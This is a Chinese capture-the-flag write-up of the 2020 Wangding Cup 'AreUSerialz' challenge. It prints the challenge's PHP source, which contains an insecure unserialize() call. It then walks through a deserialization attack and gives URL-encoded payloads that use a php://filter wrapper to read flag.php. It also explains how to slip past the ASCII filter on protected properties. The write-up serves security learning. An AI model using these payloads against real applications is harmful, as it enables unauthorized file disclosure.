[网鼎杯 2020 青龙组]AreUSerialz1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
打开靶机,是一道php反序列化题
审计一下分成几块来讲
1 2 3 4 5 6
| function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
|
is_valid()
函数的作用是判断传入的字符串中的每个字节的ASCII码是否都在32-125以内的
在反序列化中,先调用__destruct()
析构方法:
1 2 3 4 5 6
| function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
|
从__destruct()
代码中可以看到,如果op === “2”,那么op会被赋值为”1”,然后content会赋值为空,并执行process()
函数,这里 if 中的判断语句用的是强类型比较。
然后看看process()
函数:
1 2 3 4 5 6 7 8 9 10
| public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
|
代码内容为:如果op == “1”,执行write()
函数;如果op ==“2”,执行read()
函数,同时将结果赋值给$res,然后输出;否则将输出”Bad Hacker!”。
这里 if 语句中的判断语句用的是弱类型的比较,那么只要op=2,这个是int整数型的2,那么op === “2” 则为False, op == “2”则为True,就可以进入read()
函数。
再看看read()
函数:
1 2 3 4 5 6 7
| private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
|
在read()
函数中,使用filename调用file_get_contents()
函数将文件内容赋值给$res输出。
一开始没想到可以直接读取flag.php
中的内容,看了师傅们的wp才知道,这里的filename是我们可控的,那么可以用php://filter
伪协议读取文件。然后使用output()
函数输出。
1 2 3 4
| private function output($s) { echo "[Result]: <br>"; echo $s; }
|
那么现在整个反序列过程就清楚了:
1 2
| 将op = 2 filename = "php://filter/read=convert.base64-encode/resource=flag.php"
|
一开始我使用的payload是
1
| O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00filename%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
|
发现怎么也没有回显
查了一下才知道
原因是在于 $op
$filename
$content
三个变量权限都是protected,而protected权限的变量在序列化时会有%00*%00
字符,%00
字符的ASCII码为0,不在is_valid函数规定的32到125的范围内。
可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。
最后的payload是
1
| O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D
|
base64解码
拿到flag
总结
- php7.1+版本对属性类型不敏感
- 可以用
php://filter
伪协议读取可控文件
- protected权限的变量在序列化时会有
%00*%00
字符,%00
字符的ASCII码为0
- 注意强弱比较的区别